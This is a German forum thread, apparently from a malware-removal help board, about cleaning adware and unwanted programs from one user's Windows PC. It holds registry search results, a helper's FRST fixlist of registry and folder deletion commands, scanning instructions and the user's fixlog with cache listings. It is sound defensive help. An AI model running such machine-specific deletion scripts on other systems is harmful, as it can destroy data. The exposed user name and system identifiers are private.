"C:\Program Files (x86)\Prfasaretaly\dereph.exe"="0x5341435001000000000000000700000028000000708B0A002CBC020003000000000000000000030600210000975FD891C99ECE0100000080000000000200000028000000000000000000000000000000000000000000000000000000B3040000000000000100000001000000"


===================== Suchergebnis f黵 "pccleanplus" ==========

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
"C:\Program Files (x86)\pccleanplus\uninstaller.exe"="0x534143500100000000000000070000002800000000BC060000000000030000000000000000000306F5220000B395E7CF049FCE0100000000000000000200000028000000000000000000000000000000000000000000000000000000983A0000000000000100000001000000"


===================== Suchergebnis f黵 "Babylon" ==========

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Extension Compatibility\{2EECD738-5844-4A99-B4B6-146BF802613B}]
"DllName"="BabylonToolbar.dll"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Extension Compatibility\{97F2FF5B-260C-4CCF-834A-2DDA4E29E39E}]
"DllName"="BabylonToolbar.dll"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Extension Compatibility\{98889811-442D-49DD-99D7-DC866BE87DBC}]
"DllName"="BabylonToolbarTlbr.dll"

[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Extension Compatibility\{2EECD738-5844-4A99-B4B6-146BF802613B}]
"DllName"="BabylonToolbar.dll"

[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Extension Compatibility\{97F2FF5B-260C-4CCF-834A-2DDA4E29E39E}]
"DllName"="BabylonToolbar.dll"

[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Extension Compatibility\{98889811-442D-49DD-99D7-DC866BE87DBC}]
"DllName"="BabylonToolbarTlbr.dll"


===================== Suchergebnis f黵 "SNARE" ==========

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-3847841184-804715454-2304624315-1001\Components\CD943DD1DFFCDBC40840F45E9091DD07]
"471315C2D818E9D48BF8E38227ABAC02"="C:\Users\Nick Schuster\Documents\VirtualDJ\Sampler\Instruments\Kick Snare.vdjsample"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
"C:\Windows\Temp\winsap_update\WinSnare.msi"="0x534143500100000000000000070000002800000000EA0000FD42010001000000000000000000010500100000975FD891C99ECE01000000000000000002000000280000000000000000000000000000000000000000000000000000006F460000000000000500000005000000"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
"C:\Windows\Temp\hp9A4F.tmp\WinSnare.msi"="0x534143500100000000000000070000002800000000FE00002CDB010001000000000000000000010500100000B395E7CF049FCE01000000000000000002000000280000000000000000000000000000000000000000000000000000009B2F0000000000000100000001000000"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
"C:\Windows\Temp\winsap_update\Snarer.msi"="0x534143500100000000000000070000002800000000EA0000FD42010001000000000000000000010500100000975FD891C99ECE01000000000000000002000000280000000000000000000000000000000000000000000000000000009F870000000000001000000010000000"


===================== Suchergebnis f黵 "SNARER" ==========

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
"C:\Windows\Temp\winsap_update\Snarer.msi"="0x534143500100000000000000070000002800000000EA0000FD42010001000000000000000000010500100000975FD891C99ECE01000000000000000002000000280000000000000000000000000000000000000000000000000000009F870000000000001000000010000000"


===================== Suchergebnis f黵 "Yeshat" ==========

[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Yeshat]

[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Yeshat]
"path"="C:\Program Files (x86)\Yeshat\"

[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Yeshat]
"publicdirectroy_du"="C:\Program Files (x86)\Yeshat\Reports\Dump"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Internet Explorer\LowRegistry\Audio\PolicyConfig\PropertyStore\3e84c307_0]
""="{2}.\\?\hdaudio#func_01&ven_10ec&dev_0269&subsys_1b0a2256&rev_1002#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\eheadphonetopo/00010001
\Device\HarddiskVolume3\Program Files (x86)\Yeshat\Application\chrome.exe%b{00000000-0000-0000-0000-000000000000}"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
"C:\Program Files (x86)\Yeshat\Application\chrome.exe"="0x5341435001000000000000000700000028000000585F0E0077AC0E0001000000000000000000030600210000975FD891C99ECE010000000100000000"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Yeshat]


===================== Suchergebnis f黵 "Kyubey" ==========

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
"C:\Windows\Temp\nsi8E5B.tmp\Kyubey.exe"="0x534143500100000000000000070000002800000000B603000000000001000000000000000000030671220000975FD891C99ECE0100000000000000000200000028000000000000000000000000000000000000000000000000000000EF210000000000000100000001000000"


===================== Suchergebnis f黵 "BikaQRss" ==========

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Folders]
"C:\Program Files (x86)\BikaQRss\"=""


===================== Suchergebnis f黵 "WinSAPSvc" ==========

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
"C:\programdata\winsapsvc\winsap_update\amule.msi"="0x534143500100000000000000070000002800000000EA0000FD42010001000000000000000000010500100000975FD891C99ECE0100000000000000000200000028000000000000000000000000000000000000000000000000000000640C0000000000000100000001000000"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
"C:\programdata\winsapsvc\winsap_update\uvcSetup.msi"="0x534143500100000000000000070000002800000000EA0000FD42010001000000000000000000010500100000975FD891C99ECE010000000000000000020000002800000000000000000000000000000000000000000000000000000080310000000000000100000001000000"

====== Ende von Suche ======
es gibt ein problem:
das programm FRST hatt einen ordner namens ,,982652986570268672创 gel鰏cht in dem wichtige dateien enthalten waren..... wie kann ich den wiederherstellen?

M-K-D-B 07.06.2017 13:01
Servus,



Zitat:
das programm FRST hatt einen ordner namens ,,982652986570268672创 gel鰏cht in dem wichtige dateien enthalten waren..... wie kann ich den wiederherstellen?
Ok, ich ber點ksichtige das im n鋍hsten Schritt. Dann k鰊nen wir den Ordner sp鋞er wiederherstellen. :)






Wir entfernen noch ein bisschen was und kontrollieren nochmal alles.



Hinweis: Der Suchlauf mit ESET kann l鋘ger dauern.





Schritt 1
  • Kopiere den Inhalt der folgenden Code-Box:
    Code:
    Start::
    CloseProcesses:
    C:\Users\Nick Schuster\AppData\Local\Pleperiedsdeied
    C:\autoexec.bat
    MSCONFIG\Services: SysLinkMapper => 2
    DeleteKey: HKEY_USERS\.DEFAULT\Software\Classes\Applications\interstatnogui.exe
    DeleteKey: HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\NetCtl
    DeleteKey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\RADAR\HeapLeakDetection\DiagnosedApplications\Plumbytes.exe
    DeleteKey: HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\5ritFihZeyda
    DeleteKey: HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Wow6432Node\Speedownloader0099
    DeleteKey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\RADAR\HeapLeakDetection\DiagnosedApplications\SpyHunter4.exe
    DeleteKey: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\iSafeKrnlBoot
    DeleteKey: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{5EBD559E-A5BA-11E6-B9FD-64006A5CFC23}
    DeleteKey: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{9C829CE8-039A-11E7-8F7F-64006A5CFC23}
    DeleteKey: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{234628B4-4048-11E7-9F2C-64006A5CFC23}
    DeleteKey: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{A4CD8824-4049-11E7-9F11-64006A5CFC23}
    DeleteKey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Everness
    DeleteKey: HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Everness
    DeleteKey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Applemy
    DeleteKey: HKEY_USERS\.DEFAULT\Software\Caphyon
    DeleteKey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Yeshat
    DeleteKey: HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Yeshat
    DeleteValue: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Svchost|AppleSvcs
    DeleteValue: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved|KuaiZip Shell Extension
    Folder: C:\Users\Nick Schuster\AppData\Local\Atajerge
    Folder: C:\Users\Nick Schuster\AppData\Local\Profiles
    Folder: C:\Users\Nick Schuster\Searches
    FindFolder: 982652986578268672
    EmptyTemp:
    End::
  • Starte nun FRST und klicke den Entfernen Button.
  • Das Tool f黨rt die gew黱schten Schritte aus und erstellt eine fixlog.txt im selben Verzeichnis, in dem sich die FRST/FRST64.exe befindet.
  • Gegebenenfalls muss dein Rechner daf黵 neu gestartet werden.
  • Poste mir den Inhalt der fixlog.txt mit deiner n鋍hsten Antwort.





Schritt 2
Downloade dir die passende Version von HitmanPro auf deinen Desktop: HitmanPro - 32 Bit | HitmanPro - 64 Bit.
  • Starte die HitmanPro.exe
  • Klicke auf
  • Entferne den Haken bei
  • Klicke auf
    und
  • Akzeptiere die Lizenzbedingungen und klicke auf
  • Klicke auf

    und auf
  • Wenn der Scan beendet wurde, nichts l鰏chen lassen etc. sondern w鋒le unten links auf der Button-Leiste
    und speichere die Logdatei auf Deinem Desktop.
  • Schlie遝 HitmanPro und poste mir das Log.

 







Schritt 3

ESET Online Scanner

  • Hier findest du eine bebilderte Anleitung zu ESET Online Scanner
  • Lade und starte Eset Online Scanner
  • Setze einen Haken bei Ja, ich bin mit den Nutzungsbedingungen einverstanden und klicke auf Starten.
  • Aktiviere die "Erkennung von eventuell unerw黱schten Anwendungen" und w鋒le folgende Einstellungen.
  • Klicke auf Starten.
  • Die Signaturen werden heruntergeladen, der Scan beginnt automatisch.
  • Klicke am Ende des Suchlaufs auf Fertig stellen.
  • Schlie遝 das Fenster von ESET.
  • Explorer 鰂fnen.
  • C:\Programme\Eset\EsetOnlineScanner\log.txt (bei 64 Bit auch C:\Programme (x86)\Eset\EsetOnlineScanner\log.txt) suchen und mit Deinem Editor 鰂fnen (bebildert).
  • Logfile hier posten.
  • Deinstallation: Systemsteuerung => Software / Programme deinstallieren => Eset Online Scanner V3 entfernen.
  • Manuell folgenden Ordner l鰏chen und Papierkorb leeren => C:\Programme\Eset








Schritt 4
  • Starte die FRST.exe erneut. Vergewissere dich, dass vor Addition.txt ein Haken gesetzt ist und dr點ke auf Untersuchen.
  • FRST erstellt wieder zwei Logdateien (FRST.txt und Addition.txt).
  • Poste mir beide Logdateien mit deiner n鋍hsten Antwort.







http://www.trojaner-board.de/extra/lesestoff.pngGibt es jetzt noch Probleme mit dem PC oder mit deinen Internet Browsern? Wenn ja, welche?







Bitte poste mit deiner n鋍hsten Antwort
  • die Logdatei des FRST-Fix,
  • die Logdatei von HitmanPro,
  • die Logdatei von ESET,
  • die beiden neuen Logdateien von FRST,
  • die Beantwortung der gestellten Fragen.

NexsReloaded 07.06.2017 17:45
Zitat:
Kopiere den Inhalt der folgenden Code-Box:
was soll ich mit dem text darin machen nachdem ich ihn kopiert hab?

M-K-D-B 08.06.2017 12:46
Zitat:
Zitat von NexsReloaded (Beitrag 1656458)
was soll ich mit dem text darin machen nachdem ich ihn kopiert hab?
Steht doch in der Anleitung, die unter der Code-Box steht, wie es weiter geht... ;)

NexsReloaded 08.06.2017 18:30
Code:

Entferungsergebnis von Farbar Recovery Scan Tool (x64) Version: 07-06-2017 01
durchgef黨rt von Nick Schuster (08-06-2017 14:29:15) Run:3
Gestartet von C:\Users\Nick Schuster\Desktop\anti trojan\killer.exe
Geladene Profile: Nick Schuster (Verf黦bare Profile: Nick Schuster)
Start-Modus: Normal
==============================================

fixlist Inhalt:
*****************

CloseProcesses:
C:\Users\Nick Schuster\AppData\Local\Pleperiedsdeied
C:\autoexec.bat
MSCONFIG\Services: SysLinkMapper => 2
DeleteKey: HKEY_USERS\.DEFAULT\Software\Classes\Applications\interstatnogui.exe
DeleteKey: HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\NetCtl
DeleteKey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\RADAR\HeapLeakDetection\DiagnosedApplications\Plumbytes.exe
DeleteKey: HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\5ritFihZeyda
DeleteKey: HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Wow6432Node\Speedownloader0099
DeleteKey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\RADAR\HeapLeakDetection\DiagnosedApplications\SpyHunter4.exe
DeleteKey: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\iSafeKrnlBoot
DeleteKey: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{5EBD559E-A5BA-11E6-B9FD-64006A5CFC23}
DeleteKey: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{9C829CE8-039A-11E7-8F7F-64006A5CFC23}
DeleteKey: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{234628B4-4048-11E7-9F2C-64006A5CFC23}
DeleteKey: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{A4CD8824-4049-11E7-9F11-64006A5CFC23}
DeleteKey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Everness
DeleteKey: HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Everness
DeleteKey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Applemy
DeleteKey: HKEY_USERS\.DEFAULT\Software\Caphyon
DeleteKey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Yeshat
DeleteKey: HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Yeshat
DeleteValue: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Svchost|AppleSvcs
DeleteValue: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved|KuaiZip Shell Extension
Folder: C:\Users\Nick Schuster\AppData\Local\Atajerge
Folder: C:\Users\Nick Schuster\AppData\Local\Profiles
Folder: C:\Users\Nick Schuster\Searches
FindFolder: 982652986578268672
EmptyTemp:

*****************

Prozesse erfolgreich geschlossen.
C:\Users\Nick Schuster\AppData\Local\Pleperiedsdeied => erfolgreich verschoben
C:\autoexec.bat => erfolgreich verschoben
HKLM\SOFTWARE\Microsoft\Shared Tools\MSConfig\Services\SysLinkMapper => Schl黶sel erfolgreich entfernt
HKLM\System\CurrentControlSet\Services\SysLinkMapper => Schl黶sel nicht gefunden.
HKEY_USERS\.DEFAULT\Software\Classes\Applications\interstatnogui.exe => Schl黶sel erfolgreich entfernt
HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\NetCtl => Schl黶sel erfolgreich entfernt
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\RADAR\HeapLeakDetection\DiagnosedApplications\Plumbytes.exe => Schl黶sel erfolgreich entfernt
HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\5ritFihZeyda => Schl黶sel erfolgreich entfernt
HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Wow6432Node\Speedownloader0099 => Schl黶sel erfolgreich entfernt
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\RADAR\HeapLeakDetection\DiagnosedApplications\SpyHunter4.exe => Schl黶sel erfolgreich entfernt
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\iSafeKrnlBoot => Schl黶sel erfolgreich entfernt
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{5EBD559E-A5BA-11E6-B9FD-64006A5CFC23} => Schl黶sel erfolgreich entfernt
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{9C829CE8-039A-11E7-8F7F-64006A5CFC23} => Schl黶sel erfolgreich entfernt
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{234628B4-4048-11E7-9F2C-64006A5CFC23} => Schl黶sel erfolgreich entfernt
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{A4CD8824-4049-11E7-9F11-64006A5CFC23} => Schl黶sel erfolgreich entfernt
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Everness => Schl黶sel erfolgreich entfernt
HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Everness => Schl黶sel erfolgreich entfernt
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Applemy => Schl黶sel erfolgreich entfernt
HKEY_USERS\.DEFAULT\Software\Caphyon => Schl黶sel erfolgreich entfernt
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Yeshat => Schl黶sel erfolgreich entfernt
HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Yeshat => Schl黶sel erfolgreich entfernt
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Svchost\\AppleSvcs => Wert erfolgreich entfernt
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\\KuaiZip Shell Extension => Wert erfolgreich entfernt

========================= Folder: C:\Users\Nick Schuster\AppData\Local\Atajerge ========================


====== Ende von Folder: ======


========================= Folder: C:\Users\Nick Schuster\AppData\Local\Profiles ========================

2016-10-13 18:15 - 2016-10-13 18:21 - 0000000 ____D () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default
2016-10-13 18:15 - 2016-10-13 18:15 - 0002662 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\directoryLinks.json
2016-10-13 18:21 - 2016-10-13 18:21 - 0000002 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\frequencyCap.json
2016-10-13 18:15 - 2016-10-13 18:24 - 0000000 ____D () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2
2016-10-13 18:16 - 2016-10-13 18:24 - 0065248 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\index
2016-10-13 18:24 - 2016-10-13 18:24 - 0002992 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\index.log
2016-10-13 18:15 - 2016-10-13 18:23 - 0000000 ____D () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\doomed
2016-10-13 18:16 - 2016-10-13 18:18 - 0003028 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\doomed\31362
2016-10-13 18:16 - 2016-10-13 18:18 - 0003466 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\doomed\6123
2016-10-13 18:15 - 2016-10-13 18:23 - 0000000 ____D () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries
2016-10-13 18:16 - 2016-10-13 18:16 - 0042927 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\001D17A1319B202356AB785640F6D61F0FA63524
2016-10-13 18:16 - 2016-10-13 18:16 - 0001551 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\0045AF110862DD7DB3D5768E9DA2B6EC121C353F
2016-10-13 18:18 - 2016-10-13 18:18 - 0003899 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\008D0D19FA2934F70B4981BE8AB4A6DA445E5ECD
2016-10-13 18:16 - 2016-10-13 18:16 - 0003737 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\00A4C05253EE6AE89DB2E5014C0A6D28D43CD074
2016-10-13 18:23 - 2016-10-13 18:23 - 0003979 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\00B0A7F7EA35F84E4B08FEF652ACB1853304C00C
2016-10-13 18:16 - 2016-10-13 18:16 - 0004388 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\00DA5917B51AE0553840C21E8461D17A0038C6A6
2016-10-13 18:18 - 2016-10-13 18:18 - 0002531 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\00DE56A2D247F6FD4F96C7BE019FECF3506BA441
2016-10-13 18:16 - 2016-10-13 18:23 - 0028077 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\00DF9D887418C5A25BA2BB9F373BC4E64AD350AF
2016-10-13 18:16 - 2016-10-13 18:16 - 0003971 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\00FCCB62201A79EEAC9D83EDEAFF67AED1240F20
2016-10-13 18:16 - 2016-10-13 18:16 - 0042939 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\00FF01814B573B92F6C0C34924FCE454207E4102
2016-10-13 18:16 - 2016-10-13 18:16 - 0003291 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\0115800A2B850246EFCB2EF7687133B422BD9D6F
2016-10-13 18:16 - 2016-10-13 18:16 - 0002274 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\013C6155C877AC369289CFDCEC1C9D4A3C9F4E96
2016-10-13 18:21 - 2016-10-13 18:22 - 0033908 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\0162A207F8030152A71B4540EA07851350167141
2016-10-13 18:18 - 2016-10-13 18:18 - 0003721 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\016636644713E3875C6375D91017558E9E20CF72
2016-10-13 18:19 - 2016-10-13 18:19 - 0171214 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\0170FAD58CC229329A033459C1F10B21B4D414E6
2016-10-13 18:16 - 2016-10-13 18:16 - 0009510 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\01BB175DAE436FF87353A7B54D8112F2C0733F43
2016-10-13 18:19 - 2016-10-13 18:19 - 0003468 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\01DDB6DD74D245B98A13F5C52C177C7787B604B6
2016-10-13 18:16 - 2016-10-13 18:16 - 0001247 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\01F4D7651E9F47A0D4A3DC70D4464852A6A66098
2016-10-13 18:16 - 2016-10-13 18:16 - 0004020 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\02028A8D322EC6DA8D5BF21196C9BCC862ED1345
2016-10-13 18:16 - 2016-10-13 18:16 - 0001335 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\023C2C18851B5863F206913BF2F9585029D9DFD5
2016-10-13 18:16 - 2016-10-13 18:16 - 0010375 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\02AC7F14A592738C675BCA1C115BAE18FE663EC3
2016-10-13 18:16 - 2016-10-13 18:16 - 0001596 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\02C8B94AFF77FA1C98662DB8B9B5D876FA4BB15F
2016-10-13 18:18 - 2016-10-13 18:18 - 0002410 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\03041F409CFFD852033C5FBD18FC5BEFD3E1D5C1
2016-10-13 18:18 - 2016-10-13 18:18 - 0004489 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\034340D44234C072E074828567BE9716AA7CA0B6
2016-10-13 18:16 - 2016-10-13 18:16 - 0004300 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\035AAB805F4FDC72F3C7118F40EE1A6CC9B3A1DE
2016-10-13 18:19 - 2016-10-13 18:19 - 0024863 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\037CA65BBFE8EB1D0D130F99ACA6F9B6E35914C7
2016-10-13 18:19 - 2016-10-13 18:19 - 0003933 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\03885C9E65786BE4D7304FA75B216997F505B048
2016-10-13 18:16 - 2016-10-13 18:16 - 0004780 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\03C8FEAFA044BE4CDED027FC3D051D7B111C33D7
2016-10-13 18:16 - 2016-10-13 18:23 - 0019851 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\03CCC28F1012EBF8BCC295734C62D00F1EF96883
2016-10-13 18:16 - 2016-10-13 18:18 - 0001116 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\03D7738CD749FF97B1CCAC9A9E395EBD6DDC7C74
2016-10-13 18:23 - 2016-10-13 18:23 - 0004247 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\03EB3D525726753E896FDFDA8AC17F52CD46E812
2016-10-13 18:16 - 2016-10-13 18:16 - 0003511 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\03FDDE367F0A3DE3B308E005CC4D6E31961AD3DA
2016-10-13 18:16 - 2016-10-13 18:16 - 0001802 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\040DFD92F34450FA3E7D7A9369CE3177DC6610C8
2016-10-13 18:23 - 2016-10-13 18:23 - 0086363 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\04180A7146CDA81FB991BCC3C0C819194B097AFA
2016-10-13 18:16 - 2016-10-13 18:16 - 0027643 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\045CC21D454F3491850448E5AC3060ED3F0DB91C
2016-10-13 18:16 - 2016-10-13 18:16 - 0006115 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\046B8E2EC5CC9C45326FD4BA820D0FA8FF84C590
2016-10-13 18:16 - 2016-10-13 18:19 - 0003555 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\0524CAB44357E252B4B4B4193D6E6C0A157DC0B2
2016-10-13 18:19 - 2016-10-13 18:19 - 0011288 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\05263CB8161460317A24B0C62429C3E90CF3F4EE
2016-10-13 18:16 - 2016-10-13 18:18 - 0019976 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\05553288120B831CC988D376F4C053DE241EAC25
2016-10-13 18:18 - 2016-10-13 18:18 - 0000768 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\055A595F679A9DABA75E696B8E68433FF6C833EE
2016-10-13 18:19 - 2016-10-13 18:19 - 0004325 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\059A2B88211F49A974C073E6C3C9210A3DB735B7
2016-10-13 18:16 - 2016-10-13 18:16 - 0005324 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\059CEF27C6ED539F055A21E4B7A5842500AC935E
2016-10-13 18:19 - 2016-10-13 18:19 - 0007215 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\05A63530658703BD29E19F30D4912A40254CEF7F
2016-10-13 18:18 - 2016-10-13 18:18 - 0001750 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\05DBD7EE24F995C0ED012940A602947EB89904A4
